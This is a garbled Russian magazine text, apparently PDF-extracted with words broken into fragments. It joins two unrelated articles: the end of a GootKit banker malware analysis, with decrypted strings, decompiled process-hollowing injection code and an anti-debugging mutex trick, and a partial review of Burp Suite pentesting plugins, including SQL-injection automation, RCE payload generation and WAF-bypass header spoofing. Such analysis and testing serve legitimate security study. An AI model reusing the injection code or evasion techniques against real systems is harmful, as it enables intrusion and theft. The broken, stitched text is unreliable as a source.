. Видим шиф ротекст  .89798798798g79er$ byte_41F000[edi]

Псев докод это го алго рит ма такой:

do
 {
   byte_41F000[v30] ^= a89798798798g79[v30 % v29];
   ++v30;
 }
 while ( v30 < 11 );
 v31 = strlen(a89798798798g79);

Зная  ключ,  поп робу ем  рас шифро вать  содер жимое  буфера  средс тва ми
Python, который встро ен в IDA. Набира ем

x = idc.GetManyBytes(0x41F0EC, 0x0B)

Пи шем бай ты по адре су   в количес тве   в перемен ную encrypt.
Про верим, прос то вве дя имя перемен ной и нажав Enter:

0x41F0EC 0x0B

Python>encrypt = idc.GetManyBytes(0x41F000, 0x9)
Python>encrypt
hJVIQl]T[

Все вер но: это имен но то, что мы видели в IDA. Теперь прис воим перемен ной
 извес тный нам пароль и зададим перемен ную   для выход ных дан‐ 
ных:
y decrypt

Python>y = "89798798798g79er$"
Python>decrypt = ""

Те перь прис тупим к цик лу дешиф ровки.

Python>for i in range(0 , len(encrypt)):
Python>decrypt += chr(ord(encrypt[i]) ^ ord(y[i%len(y)]))
Python>decrypt
Psapi.dll

Мы смог ли рас шифро вать стро ку, и у нас получи лось Psapi.dll. Таким обра зом
мож но рас шифро вать все зашиф рован ные стро ки и соот нести их с перемен‐ 
ными в псев докоде. Лис тинг пре обра зил ся и стал нам ного более понят ным.
Теперь  нам  ясно,  какие  WinAPI  получа ются  динами чес ки.  Скрол лим  псев‐ 
докод ниже и видим:

if ( !(unsigned __int8)sub_401454() || !v36(v18, 0, 1000, 12288, 64, 
0) || !(unsigned __int8)sub_401454() )
{
 CreateMutexA(0, 1, "fz7ef7z9e7f98ze7f97ze");
 result = (FILE *)GetLastError();
 if ( result != (FILE *)183 )
   return result;
 return (FILE *)sub_401E47();

}
CreateMutexA(0, 1, "321e89r7g98e7rg89er");
if ( GetLastError() == 183 )
 return (FILE *)sub_401E47();

GetModuleFileNameA(0, &v42, 260);
v21 = strlen(&v42);
v22 = strlen(byte_41F090);
v23 = (char *)GlobalAlloc(0x40u, v21 + 2 + v22);
v33(v23, &v42);
strcat(v23, byte_41F090);
v24 = v32;
while ( !v24(v23) && v9 < 300 )
{
 Sleep(1);
 ++v9;

}
ShellExecuteA(0, 0, &v42, "‐l", 0, 0);
return (FILE *)((int (__stdcall *)(signed int))Sleep)(2000);

Здесь замет на работа с мьютек сами и запуск еще одной копии собс твен ного
про цес са через   с парамет ром  . Вооб ще, ког да есть подоб‐ 
ный код, неп лохо запус тить наш вирус в какой‐нибудь ана лизи рующей песоч‐ 
нице, что бы видеть, какие про цес сы в каком поряд ке соз дают ся. Давай это и
сде лаем.

ShellExecuteA ‐l

Есть  нес коль ко  онлай новых  песоч ниц,  которые  под ходят  для  этих  целей,
мно гие из них плат ные. Но есть и бес плат ные, нап ример  .
Закиды ваем семпл в песоч ницу и смот рим на резуль тат.

hybrid‐analysis.com

Ре зуль тат гиб ридно го ана лиза

В  этом  дереве  про цес сов  нас  инте ресу ют  три  пер вых:  сна чала  запус кает ся
основной семпл, потом он же с парамет ром коман дной стро ки  ,  а  тре тий
про цесс, веро ятно, наш целевой рас пакован ный код. Воз вра щаем ся к иссле‐ 
дова нию защиты.

‐l

Об рати вни мание на стро ки соз дания мьютек сов и на этот код:

ShellExecuteA(0, 0, &v42, "‐l", 0, 0);
return (FILE *)((int (__stdcall *)(signed int))Sleep)(2000);

Пос ле соз дания про цес са родитель ский про цесс спит две секун ды, а потом
завер шает ся. Запом ним этот момент и идем даль ше. Най дем  код соз дания
про цес са,  который соз дает ся копи ей про цес са с парамет ром  . Для это го
в таб лице импорта прос матри ваем вызовы и находим  . Идем
по  перек рес тной  ссыл ке  и  находим фун кцию 

 и вот такой код в ней (я рас шифро вал име на вызовов WinAPI и пере име‐ 
новал одну перемен ную для удо бочи таемос ти кода).

‐l
CreateProcessA

sub_403A56(CHAR  *a1,  void 
*a2)

memset(&StartupInfo, 0, 0x44u);
memset(&ProcessInformation, 0, 0x10u);
for ( i = CreateProcessA(0, v2, 0, 0, 0, 4u, 0, 0, &StartupInfo, &
ProcessInformation);
   ;
   i = CreateProcessA(0, lpCommandLine, 0, 0, 0, 4u, 0, 0, &Startu
pInfo, &ProcessInformation) )
{
if ( !i )
 return 1;

if ( *(_WORD *)inject_code != 23117 )
{
 NtTerminateProcess(ProcessInformation.hProcess, 1);
 return 1;

}
v5 = (int)inject_code + *((_DWORD *)inject_code + 15);
NtGetContextThread(ProcessInformation.hThread, &v15);
NtReadVirtualMemory(ProcessInformation.hProcess, v16 + 8, &v11, 4, 0)
;
if ( v11 == *(_DWORD *)(v5 + 52) )
 NtViewUnmapOfSection(ProcessInformation.hProcess, v11);

v6 = VirtualAllocEx(ProcessInformation.hProcess, *(_DWORD *)(v5 + 52)
, *(_DWORD *)(v5 + 80), 12288, 64);
if ( v6 )
 break;

GetLastError();
if ( !v14 )
{
 NtTerminateProcess(ProcessInformation.hProcess, 1);
 return 1;

}
‐‐v14;
NtTerminateProcess(ProcessInformation.hProcess, 1);
}
NtWriteVirtualMemory(ProcessInformation.hProcess, v6, inject_code, *(
_DWORD *)(v5 + 84), 0);
v14 = 0;
if ( *(_WORD *)(v5 + 6) > 0u )
{
v7 = 0;
lpCommandLine = 0;
do
{
 NtWriteVirtualMemory(
   ProcessInformation.hProcess,
   v6 + *(_DWORD *)&v7[*((_DWORD *)inject_code + 15) + 260 + (_DWORD
)inject_code],
   (char *)inject_code + *(_DWORD *)&v7[*((_DWORD *)inject_code + 15
) + 268 + (_DWORD)inject_code],
   *(_DWORD *)&v7[*((_DWORD *)inject_code + 15) + 264 + (_DWORD)
inject_code],
   0);
 v8 = *(unsigned __int16 *)(v5 + 6);
 v7 = lpCommandLine + 40;
 ++v14;
 lpCommandLine += 40;

}
while ( v14 < v8 );
}
v17 = v6 + *(_DWORD *)(v5 + 40);
NtWriteVirtualMemory(ProcessInformation.hProcess, v16 + 8, v5 + 52, 4
, 0);
NtSetContextThread(ProcessInformation.hThread, &v15);
NtResumeThread(ProcessInformation.hThread, 0);
VirtualFree(inject_code, 0, 0x8000u);
return 0;

Пыт ливый читатель сра зу пой мет, что это стан дар тная инжекция кода в про‐ 
цесс,  который  здесь  же  и  соз дает ся.  Да,  это  тот  про цесс,  который  порож‐ 
дает ся экзем пля ром при ложе ния, запущен ного с парамет ром  . Мы видим,
как  дан ные  записы вают ся  в  память  про цес са,  уста нав лива ется  кон текст
потока, затем поток возоб новля ется.

‐l

Ес тес твен но, мы можем  уви деть  в  вызове  ,  какие
имен но дан ные записы вают ся. Давай прос ледим, отку да вызыва ется фун кция

.  Кро ме  того,  я  рекомен дую  пере име‐ 
новать эту фун кцию в  , что бы было удоб нее и понят нее в даль нейшем.

NtWriteVirtualMemory

sub_403A56(CHAR  *a1,  void  *a2)
inject

sub_402133();
v0 = f_GetModuleFileNameA();
sub_401A77(v0);
v1 = (int *)sub_401BCE((char *)dword_41FBCC);
v3 = v2;
inject_code = v1;
*(_BYTE *)(v2[3] + v1[3]) = 0;
v5 = sub_401CFB(*v1, v1[3], *v2, v2[3]);
v6 = inject_code[3];
v7 = inject_code[6];
*inject_code = v5;
v8 = sub_401CFB(v7, v6, v3[6], v3[3]);
v9 = inject_code[3];
v10 = inject_code[7];
inject_code[6] = v8;
v11 = sub_401CFB(v10, v9, v3[7], v3[3]);
v12 = inject_code[6];
inject_code[7] = v11;
sub_401EFF(v12, v3[6]);
sub_401EFF(inject_code[7], v3[7]);
proc_name = (CHAR *)f_GetModuleFileNameA();
inject(proc_name, (void *)*inject_code);
return 0;

В этой неболь шой фун кции в памяти соз дает ся буфер и в него дешиф рует ся
код, а затем про исхо дит инжект. Пос мотрим перек рес тную ссыл ку на эту фун‐ 
кцию, и… мы воз вра щаем ся  в  код с мьютек сами. А фун кция,  из  которой мы
вер нулись,  называ ется  .  Получа ется,  основная  рас паков ка
выпол няет ся имен но в этом мес те при ложе ния. Давай поп робу ем разоб рать‐ 
ся, зачем тут мьютек сы. Я сок ратил код, оста вив самую суть, и пере име новал
извес тную нам фун кцию.

sub_401E47()

...
CreateMutexA(0, 1, "fz7ef7z9e7f98ze7f97ze");
result = (FILE *)GetLastError();
if ( result != (FILE *)183 )
 return result;

return (FILE *)wrapper_create_and_inject();
}
CreateMutexA(0, 1, "321e89r7g98e7rg89er");
if ( GetLastError() == 183 )
return (FILE *)wrapper_create_and_inject();
...
ShellExecuteA(0, 0, &v42, "‐l", 0, 0);
return (FILE *)((int (__stdcall *)(signed int))Sleep)(2000);

Ан тиот ладоч ный  трюк  сос тоит  в  том,  что  родитель ский  про цесс  соз дает
мьютекс и про веря ет, не соз дан ли он ранее. Далее порож дает ся дочер ний
про цесс,  и  он  тоже  про веря ет мьютекс. Дело  в  том,  что  родитель ский  про‐ 
цесс уми рает спус тя две секун ды, и если бы мы отла жива ли этот код, то в тот
момент,  ког да  бы мы  прис тупили  к  отладке  потом ка,  родитель ский  про цесс
был бы уже мертв и соз данно го им мьютек са не было бы. Получа ется прос‐ 
той, но инте рес ный спо соб про верить целос тность сво их про цес сов и отсле‐ 
дить факт отладки.

Итак,  теперь  мы  зна ем,  как  устро ена  анти отладка.  Давай  поп робу ем
заполу чить рас пакован ный обра зец бан кера. Для это го мы заг ружа ем семпл
в отладчик и оста нав лива емся на точ ке вхо да. Теперь нам нуж но уста новить
точ ку оста нова в тот момент, ког да соз дает ся новый про цесс  (пом нишь, что
про цес сов порож дает ся нес коль ко?). Уста новим точ ку оста нова на фун кцию

.CreateProcessInternalW

INFO

Мы уста нови ли точ ку оста нова на фун кцию 
  потому,  что  все  фун‐ 

кции,  порож дающие  про цес сы
( ,  ,

  и 
),  в  ито ге  вызыва ют  имен но

эту недоку мен тирован ную фун кцию.

Cre‐
ateProcessInternalW

CreateProcess CreateProcessAsUser
CreateProcessWithTokenW CreatePro‐
cessWithLogonW

От ладчик оста новил ся, и мы можем видеть, что соз дано два про цес са и мы
сто им  на  точ ке  рас паков ки  мал вари  в  память.  Нуж но  понимать,  что  сей час
мьютек сы соз даны и мы не даем при ложе нию завер шить ся.

Стек вызовов на точ ке оста нова

Нам необ ходимо свер нуть отладчик и запус тить еще один его экзем пляр, заг‐ 
рузить туда наш бан кер и пос тавить точ ку оста нова на фун кцию  .
Мы  оста нови лись  на  момен те  соз дания  фай ла,  теперь  давай  пос мотрим
парамет ры фун кции  . Я  выделил инте ресу ющее нас поле  крас‐ 
ным.

CreateFileA

CreateFileA

Стек вызовов на точ ке оста нова

Вот про тотип фун кции  .CreateFileA

HANDLE CreateFileA(
LPCSTR                lpFileName,
DWORD                 dwDesiredAccess,
DWORD                 dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD                 dwCreationDisposition,
DWORD                 dwFlagsAndAttributes,
HANDLE                hTemplateFile
);

Тре тий  параметр,  ,  уста нов лен  в  ноль,  что  зада ет  «режим  сов‐ 
мес тно го  дос тупа».  Нулевое  зна чение  зап реща ет  вся чес кий  дос туп  извне
или  пов торный  дос туп  из  самого  при ложе ния,  пока  дес крип тор  фай ла
не  будет  зак рыт.  Изме ним  на  7 —  это  раз решит  все  дос тупы.  Пос ле  это го
даем дорабо тать фун кции и оста нав лива емся сра зу пос ле воз вра та из нее.

dwShareMode

Те перь  запус каем  при ложе ние  и  не  забыва ем  о  точ ке  оста нова  на 
. Пос ле оста нова в сте ке — парамет ры соз дания про‐ 

цес са  с  фла гом  .  Зна чит,  это  имен но  наша  инъ екция
из  буфера  в  про цесс.  Перей дем  к  кар те  памяти  и  поищем  сиг натуру   —
ведь в дан ный момент рас пакован ный файл находит ся в памяти. Точ нее, даже
два фай ла —  ты  ведь еще не  забыл дерево про цес сов? Но инте ресу ет  нас
толь ко один.

Cre‐
ateProcessInternalW

CREATE_SUSPENDED
MZ

Пер вое  вхож дение  —  по  адре су  .  Ищем  в  кар те  памяти
по  базово му  адре су    нуж ный  образ.  Оста лось  толь ко  снять  дамп,
в  котором будет два обра за PE‐фай ла,  которые мы раз деля ем при помощи
hex‐редак тора HxD. Один из обра зов нам уже зна ком, а вот вто рой и есть наш
иско мый рас пакован ный бан кер.

0017BBB6
700xxx

Рас пакован ный GootKit

В IDA вид но, что код отли чает ся от исходно го сем пла, а так же прос матри вает‐ 
ся таб лица импорта. Бин го! :)

mailto:xtahi0nix@gmail.com
https://xakep.ru/2018/05/23/globeimposter-2/
https://www.hybrid-analysis.com/
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По иск  веб‐уяз вимос тей  и  Burp  Suite  —  это  прак тичес ки
синони мы.  Одна ко  мощь  тво его  Burp  нап рямую  зависит
от  выбора  при садок  к  нему.  В  этой  статье  я  соб рал  один‐ 
надцать  пла гинов,  которые  пос тоян но  исполь зую  в  работе,
и  рас ска жу  о  том,  какой  вклад  каж дый  из  них  вно сит
в облегче ние и уско рение пен тестер ской деятель нос ти.

1. Burp Vulners Scanner
https://github.com/vulnersCom/burp‐vulners‐scanner

Этот  пла гин  показы вает  пуб личные  уяз вимос ти  для  при ложе ний,  обна‐ 
ружен ные в  тра фике,  который прок сиру ет Burp. Рас ширение было написа но

,  одним  из  соос новате лей  сер виса  .  Пред став‐ 
ляет собой, по сути, прос лой ку меж ду Burp и API это го отлично го агре гато ра
уяз вимос тей.

Ива ном  Ёлки ным vulners.com

Ра бота ет  все  пре дель но  прос то.  Нас тра иваем  прок си‐сер вер,  а  затем
ходим по сай ту или тыка ем в веб‐при ложе ние. В это вре мя пла гин ана лизи‐ 
рует  тра фик,  находит  в  нем мар керы  уста нов ленно го  на  уда лен ной машине
соф та и детек тиру ет вер сии. Сюда вхо дят веб‐сер веры (nginx, Apache, Tomcat
и так далее), все воз можные CMS (WordPress, Drupal, Joomla и дру гие) и про‐ 
чее.  Затем  обна ружен ная  информа ция  отправ ляет ся  в  виде  зап росов  к  API
vulners.com, а нам в кра сивом окош ке выводит ся спи сок дос тупных уяз вимос‐ 
тей.

Ре зуль тат поис ка уяз вимос тей с помощью пла гина Vulners Scanner

В нас трой ках мож но изме нять сущес тву ющие или добав лять новые пра вила
для опре деле ния и поис ка уяз вимых при ложе ний.

Прос мотр пра вил для опре деле ния и поис ка уяз вимых при ложе ний

В целом Vulners Scanner — очень удоб ная шту ка. Пока я вруч ную изу чаю цель,
ска нер на авто мате ищет потен циаль ные уяз вимос ти.

2. SQLiPy
https://github.com/PortSwigger/sqli‐py

SQLiPy  помога ет  с  авто мати заци ей  SQL‐инъ екций.  Этот  пла гин  тоже
работа ет  с  API  —  тем,  что  пре дос тавля ет  популяр ная  ути лита  SQLMap.
Думаю,  что  каж дый,  кто  ког да‐либо  возил ся  с  SQLi,  слы шал  про  эту  тул зу.
Одна ко не все зна ют, что она может работать в режиме REST API. Для это го
ее нуж но запус тить таким обра зом:

python sqlmapapi.py ‐s ‐H <ip‐адрес> ‐p <порт>

Об рати  вни мание,  что  сущес тву ет  воз можность  запус ка  API  пря мо
из интерфей са рас ширения. Но даже сами раз работ чики рекомен дуют запус‐ 
кать его из коман дной стро ки.

Нас трой ка пла гина SQLiPy

За тем во вклад ке SQLMap Scanner в нас трой ках пла гина нуж но ука зать адрес
нашего  API.  Теперь  все,  что  от  тебя  тре бует ся, —  это  выб рать  подопыт ный
зап рос,  клик нуть  пра вой  кноп кой  мыши  внут ри  его  тела  и  выб рать  пункт
SQLiPy Scan.

Вы бор зап роса для отправ ки его в SQLMap

Сно ва откро ется вклад ка SQLMap Scanner, но уже с запол ненны ми дан ными
по зап росу. Тут ты можешь ука зать целую вязан ку парамет ров, которые дос‐ 
тупны в ути лите SQLMap. Пос ле нас трой ки нажима ем Start Scan. Если ата ка
успешна, то ее детали будут вид ны в панели  .Issues

Най ден ная уяз вимость типа SQL‐инъ екция в панели Issues

Ес ли же тебя инте ресу ет более под робная информа ция о про цес се ска ниро‐ 
вания, то ее мож но отыс кать на зак ладке SQLMap Logs. Выбирай нуж ный про‐ 
цесс и жми кноп ку Get.

Ре зуль таты ска ниро вания в SQLiPy

Как ты уже понял, пла гин под держи вает нес коль ко про цес сов ска ниро вания.
Лич но у меня на выделен ном сер вере тусу ется такой вот API, и, не отры ваясь
от  иссле дова ния  при ложе ния,  я  пери оди чес ки  отправ ляю  на  него  подоз‐ 
ритель ные зап росы через SQLiPy.

3. ActiveScan++
https://github.com/PortSwigger/active‐scan‐plus‐plus

Об  этом  пла гине,  я  думаю,  слы шал  каж дый  поль зователь  Burp  Suite.  Он
написан  одним  из  штат ных  раз работ чиков  PortSwigger  Джей мсом  Кет тле
(James Kettle), а пер вый ком мит датиро ван 23 июня 2014 года. Но обновля‐ 
ется пла гин и по сей день, что встре чает ся нечас то.

ActiveScan++ рас ширя ет стан дар тный перечень про верок, которые выпол‐ 
няют ся  при  работе  активно го  и  пас сивно го  ска нера. Он  находит  такие  уяз‐ 
вимос ти, как cache poisoning, DNS rebinding, раз личные инъ екции в тем плей‐ 
ты и экс пре шены, а так же дела ет допол нитель ные про вер ки для обна руже ния
XXE‐инъ екций и выяв ляет популяр ные баги типа shellshock, 

 (CVE‐2017‐5638) и тому подоб ные.
вы пол нение про‐ 

изволь ного кода в Struts2
Ни каких нас тро ек пла гин не име ет, он прос то тихонь ко работа ет и отправ‐ 

ляет сооб щения о най ден ных проб лемах в панель Issues.

RCE‐уяз вимость Struts2 CVE‐2017‐9805, най ден ная с пла гином
ActiveScan++

Кста ти,  на  вся кий  слу чай  рас ска жу,  что  если  тебе  необ ходимо  нат равить
активный ска нер толь ко на опре делен ные мес та в зап росе, то зап рос нуж но
добавить в  Intruder, рас ста вить    в нуж ных позици ях, а  затем нажать пра вой
кноп кой мыши и выб рать Actively scan defined insertion points.

§

Ука зыва ем кас томные мес та в зап росе для активно го ска на

4. Backslash Powered Scanner
https://github.com/portswigger/backslash‐powered‐scanner

Еще  один  тихий  пла гин,  соз данный  Джей мсом  Кет тле.  Нужен  он,  что бы
обна ружи вать  как извес тные,  так и неиз вес тные  типы уяз вимос тей. Манипу‐ 
лируя  все воз можны ми  парамет рами  из  зап роса,  рас ширение  пыта ется
выявить  нес тандар тное  поведе ние  сер вера.  Такие  ано малии  могут  помочь
при  обна руже нии  как  прос тых  уяз вимос тей  типа  error‐based  SQL‐инъ екций,
так и слож ных XSS‐инъ екций с обхо дом встро енно го WAF. Разуме ется, пла гин
не дает пол ностью готовые решения, но может натол кнуть тебя на пра виль‐ 
ный путь.

В отли чие от ActiveScan++ здесь есть некото рое количес тво нас тро ек. Они
рас положе ны в пун кте глав ного меню под наз вани ем Backslash, что нехарак‐ 
терно.

Нас трой ки пла гина Backslash Powered Scanner

Ска ниро вание  так же  идет  в  авто мати чес ком  режиме  при  работе  активно го
ска нера самого Burp. Если в про цес се ска ниро вания что‐нибудь будет обна‐ 
руже но, то резуль таты добавят ся в панель Issues.

Ано малии, най ден ные пла гином Backslash Powered Scanner

За допол нитель ной информа цией о методи ке тес тирова ния мож но обра тить‐ 
ся к   в бло ге PortSwigger.пос ту

5. SHELLING
https://github.com/ewilded/shelling

От личное  рас ширение  для  обна руже ния  уяз вимос тей  типа  RCE.  Может
исполь зовать ся как в авто мати чес ком, так и в руч ном режиме. Помимо прос‐ 
тых тес тов, пыта ется выпол нить обход все воз можных филь тров поль зователь‐ 
ских дан ных.

На момент написа ния статьи в магази не рас ширений Burp Suite была ста‐ 
рая вер сия это го пла гина. Поэто му качай из репози тория акту аль ную и уста‐ 
нав ливай руч ками.

Пос ле  успешной  инстал ляции  появит ся  новая  вклад ка  под  наз вани ем
SHELLING. Она,  в свою оче редь, содер жит еще пач ку  табов,  в  которых рас‐ 
положе ны мно гочис ленные нас трой ки рас ширения.

Нас трой ки пла гина SHELLING

Здесь мож но выб рать и тип ата куемой ОС, и пей лоад, который будет исполь‐ 
зовать ся  для  получе ния  отсту ка  об  успешно  выпол ненной  коман де,  перек‐ 
лючение режима ска ниро вания и мно гое‐мно гое дру гое.

Так же воз можно выг рузить пей лоады в  виде  тек сто вого фай ла и исполь‐ 
зовать их в Intruder или в любой дру гой ути лите.

Вклад ка с воз можностью сох ранения пей лоадов в пла гине SHELLING

Опи сать  все  нас трой ки  в  одной  статье  —  дело  проб лематич ное.  Поэто му
оставляю  тебе  это  на  домаш нее  изу чение,  бла го  в  офи циаль ном  репози‐ 
тории  име ется  исчерпы вающий  ману ал  по  всем  дос тупным  фун кци ям  рас‐ 
ширения.

6. AuthMatrix и Autorize
 https://github.com/PortSwigger/auth‐matrix

https://github.com/PortSwigger/autorize
Два пла гина, которые, по сути, дела ют одно и то же и раз лича ются толь ко

воз можнос тями  деталь ной  нас трой ки  и  интерфей сом.  Нуж ны  они  для  того,
что бы  про верять  кор рек тность  логики  рас пре деле ния  прав  дос тупа  в  при‐ 
ложе нии. Сей час ред ко мож но встре тить какой‐нибудь сер вис, где не исполь‐ 
зует ся  сис тема раз личных ролей  поль зовате лей.  Так  вот,  час тень ко быва ет,
что адми нис тра тор ские раз делы дос тупны и обыч ным поль зовате лям. Что бы
авто мати зиро вать такие про вер ки, я исполь зую эти два пла гина.

AuthMatrix  мож но  наз вать  стар шим  бра том  Autorize:  у  него  чуть  боль ше
опций и нем ного более гиб кая нас трой ка тес тирова ния. Обыч но мне хва тает
AuthMatrix.

Ло гика работы сле дующая. Логиним ся  в  сис тему,  нап ример от  адми нис‐ 
тра тора. Сни фаем тра фик по ходу того, как бега ем по раз ным раз делам, дос‐ 
тупным выб ранно му юзе ру. Потом на вклад ке Target или Proxy выбира ем нуж‐ 
ные зап росы и отправ ляем их в пла гин через соот ветс тву ющий пункт в  кон‐ 
текс тном меню.

От прав ляем зап росы в пла гин AuthMatrix

Пос ле это го перехо дим на вклад ку с пла гином, где видим наши зап росы.

Вклад ка пла гина AuthMatrix

Продолжение статьи →
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

Те перь  нуж но  добавить  поль зовате лей.  Это  мож но  сде лать,  если  нажать
на  кноп ку  New  User  и  ввес ти  имя  поль зовате ля.  Теперь  в  таб лице  Cookies
нуж но  запол нить  соот ветс тву ющие  дан ные  для  каж дого  из  соз данных  поль‐ 
зовате лей.  Куки,  которые  ты  здесь  ука жешь,  будут  добав лены  к  тем,  что
находят ся в зап росе.

Нас трой ка пла гина AuthMatrix

В при мере я пла нирую про верить дос тупность стра ниц уста нов ки и нас трой ки
безопас ности от адми на (поль зователь root) и ано нима (поль зователь guest).
Поэто му куки для Guest пус ты.

За тем я соз дал наз вание ролей и пос тавил галоч ки для соот ветс тву ющих
поль зовате лей.  Почему  сущес тву ет  воз можность  добав лять  и  роли,  и  поль‐ 
зовате лей?  Это  нуж но,  что бы  про верять  те  ситу ации,  ког да  опре делен ные
фун кции дос тупны толь ко кон крет ному поль зовате лю. Нап ример, два раз ных
юзе ра в сис теме дол жны видеть толь ко свои при ват ные сооб щения.

Те перь  тре бует ся  рас ста вить  галоч ки  соот ветс твия:  какие  поль зовате ли
или роли какие зап росы могут выпол нять. В моем слу чае оба зап роса могут
выпол нять  толь ко  адми ны,  что  я  и  ука зал.  Пос ле  этой  нас трой ки  оста ется
толь ко нажать на кноп ку Run и нем ного подож дать.

Ре зуль таты работы пла гина AuthMatrix

Ре зуль таты тес тирова ния отоб ража ются в таб лице в виде цве товых инди като‐ 
ров.  Зеленый  цвет  озна чает,  что  поведе ние  нор маль ное,  ответ  от  сер вера
был  про верен  с  помощью  регуляр ного  выраже ния,  ука зан ного  в  Response
Regex, и он соот ветс тву ет ожи данию. То есть в отве те для поль зовате ля Root
(роль адми на) он попада ет в  regex, а в отве те для поль зовате ля Guest  (роль
ано нима) — нет.

Де тали про вер ки сис темы ролей пла гином AuthMatrix. Все ОK

Крас ный цвет сиг нализи рует о том, что в этом мес те, воз можно, сущес тву ет
уяз вимость  (то  есть  ответ  в  обо их  слу чаях  соот ветс тву ет  регуляр ному
выраже нию).

Де тали про вер ки сис темы ролей пла гином AuthMatrix. Воз можная уяз ‐
вимость!

Су щес тву ет  еще  и  синий  цвет,  его  ты  уви дишь  в  том  слу чае,  ког да  рас‐ 
ширение пред полага ет, что резуль тат может быть лож нополо житель ным.

По мимо  куки,  пла гин под держи вает  кас томные заголов ки. Это поз воля ет
пок рыть  слу чаи,  ког да  авто риза ция  выпол няет ся  при  помощи  раз личных
токенов, нап ример Bearer. Этот стол бец мож но добавить при помощи кноп ки
New Header.

Так же  есть  воз можность  задать  слож ные  цепоч ки  дей ствий.  Нап ример,
если  тре бует ся  получать  для  каж дого  зап роса  валид ный  токен  CSRF.
Для  добав ления  зве на  такой  цепоч ки  есть  кноп ка  New  Chain.  Под робнее
об этом мож но   в офи циаль ном репози тории пла гина.про читать

Autorize добав ляет ко все му это му еще нес коль ко инте рес ных опций. Нап‐ 
ример, в нем мож но авто мати чес ки про верять все про ходя щие через прок си
зап росы.

Ав томати чес кая про вер ка всех вхо дящих зап росов в пла гине Autorize

Оба  пла гина  могут  сох ранять  текущее  сос тояние  и  нас трой ки  в  отдель ный
файл, а Autorize уме ет генери ровать отче ты с резуль татами тес тирова ния.

7. Burp HTTP Mock
https://github.com/PortSwigger/http‐mock

HTTPMock  поз воля ет  эму лиро вать  про изволь ные  отве ты  от  сер вера.
Это полез но для тес тирова ния оши бок на сто роне фрон тенда. С пов семес‐ 
тным засиль ем SPA, REST API и мобиль ных при ложе ний это прос то незаме‐ 
нимая шту ка.

Что бы  вос поль зовать ся  воз можнос тями  Mock,  нуж но  добавить  в  него
ответ  от  сер вера  для  эму ляции.  Это  мож но  сде лать  вруч ную  или  выб рать
сущес тву ющий ответ из отсни фан ного тра фика (это дела ется из кон текс тно го
меню).

От прав ка отве та от сер вера в рас ширение HTTPMock

Те перь во вклад ке HTTPMock в раз деле Mock rules появит ся твой ответ. Стол‐ 
бцы Host, Port и File отве чают за адрес, к которо му будет эму лиро вать ся ответ
из Response  editor.  Здесь мож но  писать  регуляр ные  выраже ния,  что  добав‐ 
ляет гиб кости.

Я взял попав шееся под руку при ложе ние для заказа пиц цы и перех ватил
пакет  с  зап росом  информа ции  о  текущем  поль зовате ле.  Добавил  ответ
на  него  в  HTTPMock  и  изме нил  параметр  ,  который  отве чает
за количес тво бонус ных бал лов.

count_points

Ре дак тирова ние эму лиру емо го отве та

Те перь  зап рос  от  при ложе ния  для  получе ния  инфы  о  юзе ре  будет  перех‐ 
ватывать ся  рас ширени ем,  а  изме нен ный  ответ  пре дос тавлен  при ложе нию
как легитим ный. Резуль тат такой под мены мож но наб людать на скри не ниже.

Под мена отве та от сер вера через пла гин HTTPMock

Ра зуме ется, это лишь один сце нарий исполь зования. Таким же обра зом мож‐ 
но вво дить в заб лужде ние любые кли енты и искать несос тыков ки в их логике
работы.

8. Bypass WAF
https://github.com/portswigger/bypass‐waf

Рас ширение с гром ким наз вани ем Bypass WAF, написан ное Джо шем Бер‐ 
ри  (Josh  Berry),  поз воля ет  поль зовать ся  рядом  трю ков,  которые  помогут
в  нелег кой  борь бе  с  навяз чивым фай рво лом.  Если  этот  зверь  не  дает  тебе
спо кой но  рас кру чивать  оче ред ную  SQL‐инъ екцию  или  вов се  режет  твои
безобид ные зап росы, то Bypass WAF — твой выбор.

Сре ди  трю ков име ются  такие шту ки,  как под мена популяр ных заголов ков
X‐Originating‐IP,  X‐Forwarded‐For,  X‐Remote‐IP,  X‐Remote‐Addr  (быва ет,  что
зап росы с локаль ной машины про ходят мимо прис таль ного взо ра WAF), раз‐ 
личные  манипу ляции  с  Content‐Type  (слу чает ся,  что  под  филь тра цию
не попада ют какие‐то MIME‐типы), раз нооб разная обфуска ция отправ ляемых
парамет ров и все в таком духе. Нас трой ка все го это го безоб разия про изво‐ 
дит ся в отдель ном табе Bypass WAF.

Нас трой ка рас ширения Bypass WAF

Пос ле вне сения изме нений нуж но нажать на кноп ку Set Configuration.
Что бы  пла гин  начал  обра баты вать  зап росы,  тебе  нуж но  перенап равить

исхо дящий  тра фик  в  него. Для  это го  на  вклад ке Sessions  в  нас трой ках  про‐ 
екта добавь новое пра вило для обра бот ки тра фика.

Нас тра иваем допол нитель ную обра бот ку тра фика пла гином Bypass WAF

На  зак ладке  Scope  мож но  ука зать,  тра фик  каких  ути лит  дол жен  про ходить
через  Bypass  WAF,  и  допол нитель но  нас тро ить  филь тра цию  опре делен ных
URL.

Ука зыва ем ути литы, тра фик которых дол жен допол нитель но про ходить
через Bypass WAF

Нап ример, я ука зал, что бы весь тра фик из Repeater ухо дил сна чала в Bypass
WAF, а затем на сер вер.

Зап рос, модифи циро ван ный пла гином Bypass WAF

9. Burp SSL Scanner
https://github.com/PortSwigger/ssl‐scanner

Этот пла гин про верит на проч ность защищен ное соеди нение с сер вером.
Здесь  доволь но  вну шитель ный  спи сок  про верок,  которые  поз воля ют  опре‐ 
делить типич ные сла бые мес та в про токо лах SSL и TLS. Тут тебе и POODLE,
и  уста рев шие  вер сии  SSL,  и  BREACH,  и  ста рин ный  Heartbleed  (да,  он
еще  встре чает ся).  Пол ный  спи сок  ты  можешь  най ти  на  стра нич ке  репози‐ 
тория на GitHub. Поч ти  все про вер ки были пор тирова ны с  небезыз вес тно го
скрип та  . Теперь не нуж но отры вать ся от Burp, что бы выпол нить эти
тес ты.  Хочу  отме тить,  что  рас ширение  не  под держи вает  про токол  TLS  вер‐ 
сии 1.3.

testssl.sh

У  пла гина  есть  собс твен ный мини‐интерфейс  на  отдель ной  вклад ке  SSL
Scanner.  Исполь зовать  его  пре дель но  прос то.  Вби ваем  тре буемый  хост
в поле Target и жмем кноп ку Start Scanning.

Вклад ка пла гина SSL Scanner для тес тирова ния защищен ного соеди ‐
нения

По дефол ту про веря ется 443‐й порт, но нич то не меша ет ука зать кас томный
порт через дво ето чие.

Ре зуль таты ска ниро вания сер вера через пла гин SSL Scanner

Ты  так же  можешь  отправ лять  в  пла гин  любой  URL,  если  из  кон текс тно го
